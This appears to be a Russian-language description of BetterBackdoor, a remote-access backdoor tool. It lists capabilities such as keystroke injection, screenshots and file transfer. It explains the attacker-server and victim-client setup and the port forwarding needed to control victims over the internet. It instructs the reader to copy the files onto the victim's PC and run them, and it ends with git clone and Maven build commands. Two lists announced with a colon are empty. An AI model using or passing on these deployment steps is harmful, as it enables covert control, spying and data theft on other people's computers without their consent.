
Бэкдор с множеством функций.
Бэкдор — это инструмент, используемый для удаленного доступа к машине.
Обычно утилиты-бэкдоры, такие как NetCat, имеют две основные функции: передавать удаленный ввод в cmd или bash и выводить ответ. Это полезно, но также ограничено. BetterBackdoor преодолевает эти ограничения, включая возможность внедрения нажатий клавиш, получения снимков экрана, передачи файлов и многих других задач.
BetterBackdoor может создать и контролировать бэкдор.
Созданный бэкдор может:
Этот бэкдор использует соединение через сокеты клиента и сервера для связи. Атакующий запускает сервер, а жертва подключается к этому серверу как клиент. (Примечание: если несколько клиентов пытаются подключиться, пользователю предлагается выбрать, к какому клиенту подключиться) После установки соединения команды могут быть отправлены клиенту для управления бэкдором.
Чтобы создать бэкдор, BetterBackdoor:
Бэкдор может работать в пределах одной сети (LAN) и через интернет (WAN). Однако для использования бэкдора через WAN необходимо настроить переадресацию портов.
Для использования через WAN должны быть перенаправлены порты 1025 и 1026 с компьютера атакующего с выбранным протоколом TCP. После этого атакующий сможет управлять бэкдором, даже если жертва и атакующий находятся в разных сетях.
Чтобы запустить бэкдор на ПК жертвы, перенесите все файлы из директории 'backdoor' на ПК жертвы.
Если с бэкдором упакована JRE, выполните run.bat, в противном случае выполните run.jar.
Это запустит бэкдор на ПК жертвы.
После запуска, чтобы управлять бэкдором, необходимо вернуться в BetterBackdoor и выполнить опцию 1 при запуске.
BetterBackdoor совместим с Windows, Mac и Linux, в то время как бэкдор совместим только с Windows.
# clone BetterBackdoor
git clone https://github.com/thatcherclough/BetterBackdoor.git
# change the working directory to BetterBackdoor
cd BetterBackdoor
# build BetterBackdoor with Maven
# for Windows run
mvnw.cmd clean package
# for Linux and Mac run
sh mvnw clean package
java -jar betterbackdoor.jar